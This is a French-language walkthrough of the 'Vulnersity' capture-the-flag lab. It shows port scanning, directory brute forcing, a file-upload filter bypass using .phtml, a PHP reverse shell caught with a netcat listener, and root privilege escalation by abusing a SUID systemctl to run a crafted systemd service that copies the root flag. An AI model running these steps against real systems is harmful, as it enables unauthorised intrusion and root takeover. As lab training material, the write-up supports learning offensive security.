Vulnersity

analyse de la cible :
nmap -sC -sV -sS -v -A 10.10.8.32
il y a 6 ports ouvert , et le systeme est ubuntu

et le serveur web est lancé sur http

on va brute forcer l'url pour determiner les repertoires
petits rappels:
Gobuster flag Description
-e Print the full URLs in your console
-u The target URL
-w Path to your wordlist
-U and -P Username and Password for Basic Auth
-p <x> Proxy to use for requests
-c <http cookies> Specify a cookie for simulating your auth
-x pour preciser les differentes extensions

et on tombe siur /internal où on peut faire de l'injection de fichier

d'abord on voit que la soumission de fichier .php est blocké
donc pour savoir si on peut utiliser un autre type de php on cree un fichier .txt qui contient tous les autres types de php tel que php5 , php6,....
la prochaine etape est de soumettre un fichier sur la page et capturer avec burpsuite et l'envoyer à intruders permettant pour faire un sniper sur l'extension et le payload est en fait le fichier texte de php. donc le sniper pourra tester chacune des extensions et boom on sait lequel marche

et telecharge le shell pour faire le reverse sur
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
et on change l'extension en phtml ,puis on entre dans le fichier et on change le port et l'ip en celle de notre machine puis on soumet qu'on capture avec une ecoute qu'on a lancé sur 4444
avec nc -lnvp 4444
nb: les fichiers se trouvent ici:http://10.10.8.32:3333/internal/uploads/

maintenant on y est , l'utilisateur s'appelle bill
montons en privilège
on cherche touts les fichiers SUID:
find / -user root -perm -4000 -exec ls -ldb {} \;
bon on a systemctl de libre qui a les permissions
enf ait systemctl est le service de control(configuration) sur linux donc on va creer un service que /systemctl va lancer
on fait ce qui suit
Create File bash get key

touch /tmp/getkey.sh

Vulnersity

chmod u+x /tmp/getkey.sh

echo “cat /root/root.txt > /tmp/key.txt” >> /tmp/getkey.sh

Create service to runing with systemctl.
echo “[Unit]
Description=Example systemd service.

[Service]
Type=simple
ExecStart=/bin/bash /tmp/getkey.sh

[Install]
WantedBy=multi-user.target” > /tmp/1313.service

Enable service and get key..

systemctl enable /tmp/1313.service

systemctl start 1313

cat /tmp/key.txt